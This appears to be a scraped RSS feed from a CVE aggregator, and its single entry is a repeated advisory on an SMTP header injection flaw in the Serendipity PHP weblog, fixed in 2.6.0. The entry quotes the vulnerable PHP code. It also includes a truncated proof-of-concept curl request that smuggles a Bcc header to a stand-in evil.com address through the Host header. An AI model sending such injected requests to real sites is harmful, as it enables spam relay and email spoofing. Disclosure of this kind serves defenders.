https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Tue, 06 Oct 2026 21:31:20 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-291461 EUVD-2026-291461 https://cve.radiocsirt.org/vuln/euvd-2026-291461 https://cve.radiocsirt.org/vuln/fkie_cve-2026-39971 <p>Serendipity is a PHP-powered weblog engine. In versions 2.6-beta2 and below, the email sending functionality in include/functions.inc.php inserts $_SERVER[&#39;HTTP_HOST&#39;] directly into the Message-ID SMTP header without validation, and the existing sanitization function serendipity_isResponseClean() is not called on HTTP_HOST before embedding it. An attacker who can control the Host header during an email-triggering action such as comment notifications or subscription emails can inject arbitrary SMTP headers into outgoing emails. This enables identity spoofing, reply hijacking via manipulated Message-ID threading, and email reputation abuse through the attacker&#39;s domain being embedded in legitimate mail headers. This issue has been fixed in version 2.6.0.</p> <p>Serendipity is a PHP-powered weblog engine. In versions 2.6-beta2 and below, the email sending functionality in include/functions.inc.php inserts $_SERVER[&#39;HTTP_HOST&#39;] directly into the Message-ID SMTP header without validation, and the existing sanitization function serendipity_isResponseClean() is not called on HTTP_HOST before embedding it. An attacker who can control the Host header during an email-triggering action such as comment notifications or subscription emails can inject arbitrary SMTP headers into outgoing emails. This enables identity spoofing, reply hijacking via manipulated Message-ID threading, and email reputation abuse through the attacker&#39;s domain being embedded in legitimate mail headers. This issue has been fixed in version 2.6.0.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2026-39971 https://cve.radiocsirt.org/vuln/ghsa-458g-q4fh-mj6r <p><strong>Affected:</strong> Packagist: s9y/serendipity</p> <p>### Summary Serendipity inserts `$_SERVER[&#39;HTTP_HOST&#39;]` directly into the `Message-ID` SMTP header without any validation beyond CRLF stripping. An attacker who can control the `Host` header during an email-triggering action can inject arbitrary SMTP headers into outgoing emails, enabling spam relay, BCC injection, and email spoofing.</p> <p>### Details In `include/functions.inc.php:548`: ```php $maildata[&#39;headers&#39;][] = &#39;Message-ID: &lt;&#39; . bin2hex(random_bytes(16)) . &#39;@&#39; . $_SERVER[&#39;HTTP_HOST&#39;] // ← unsanitized, attacker-controlled . &#39;&gt;&#39;; ```</p> <p>The existing sanitization function only blocks `\r\n` and URL-encoded variants: ```php function serendipity_isResponseClean($d) { return (strpos($d, &#34;\r&#34;) === false &amp;&amp; strpos($d, &#34;\n&#34;) === false &amp;&amp; stripos($d, &#34;%0A&#34;) === false &amp;&amp; stripos($d, &#34;%0D&#34;) === false); } ```</p> <p>Critically, `serendipity_isResponseClean()` is **not even called** on `HTTP_HOST` before embedding it into the mail headers — making this exploitable with any character that SMTP interprets as a header delimiter.</p> <p>Email is triggered by actions such as: - New comment notifications to blog owner - Comment subscription notifications to subscribers - Password reset emails (if configured)</p> <p>### PoC ```bash # Trigger comment notification email with injected header curl -s -X POST \ -H &#34;Host: attacker.com&gt;\r\nBcc: victim@evil.com\r\nX-Injected:&#34; \ -d &#34;serendipity[comment]=test&amp;serendipity[name]=hacker&amp;serendipity[email]=a@b.com&amp;serendipity[entry_id]=1&#34; \…</p> <p><strong>Affected:</strong> Packagist: s9y/serendipity</p> <p>### Summary Serendipity inserts `$_SERVER[&#39;HTTP_HOST&#39;]` directly into the `Message-ID` SMTP header without any validation beyond CRLF stripping. An attacker who can control the `Host` header during an email-triggering action can inject arbitrary SMTP headers into outgoing emails, enabling spam relay, BCC injection, and email spoofing.</p> <p>### Details In `include/functions.inc.php:548`: ```php $maildata[&#39;headers&#39;][] = &#39;Message-ID: &lt;&#39; . bin2hex(random_bytes(16)) . &#39;@&#39; . $_SERVER[&#39;HTTP_HOST&#39;] // ← unsanitized, attacker-controlled . &#39;&gt;&#39;; ```</p> <p>The existing sanitization function only blocks `\r\n` and URL-encoded variants: ```php function serendipity_isResponseClean($d) { return (strpos($d, &#34;\r&#34;) === false &amp;&amp; strpos($d, &#34;\n&#34;) === false &amp;&amp; stripos($d, &#34;%0A&#34;) === false &amp;&amp; stripos($d, &#34;%0D&#34;) === false); } ```</p> <p>Critically, `serendipity_isResponseClean()` is **not even called** on `HTTP_HOST` before embedding it into the mail headers — making this exploitable with any character that SMTP interprets as a header delimiter.</p> <p>Email is triggered by actions such as: - New comment notifications to blog owner - Comment subscription notifications to subscribers - Password reset emails (if configured)</p> <p>### PoC ```bash # Trigger comment notification email with injected header curl -s -X POST \ -H &#34;Host: attacker.com&gt;\r\nBcc: victim@evil.com\r\nX-Injected:&#34; \ -d &#34;serendipity[comment]=test&amp;serendipity[name]=hacker&amp;serendipity[email]=a@b.com&amp;serendipity[entry_id]=1&#34; \…</p> https://cve.radiocsirt.org/vuln/ghsa-458g-q4fh-mj6r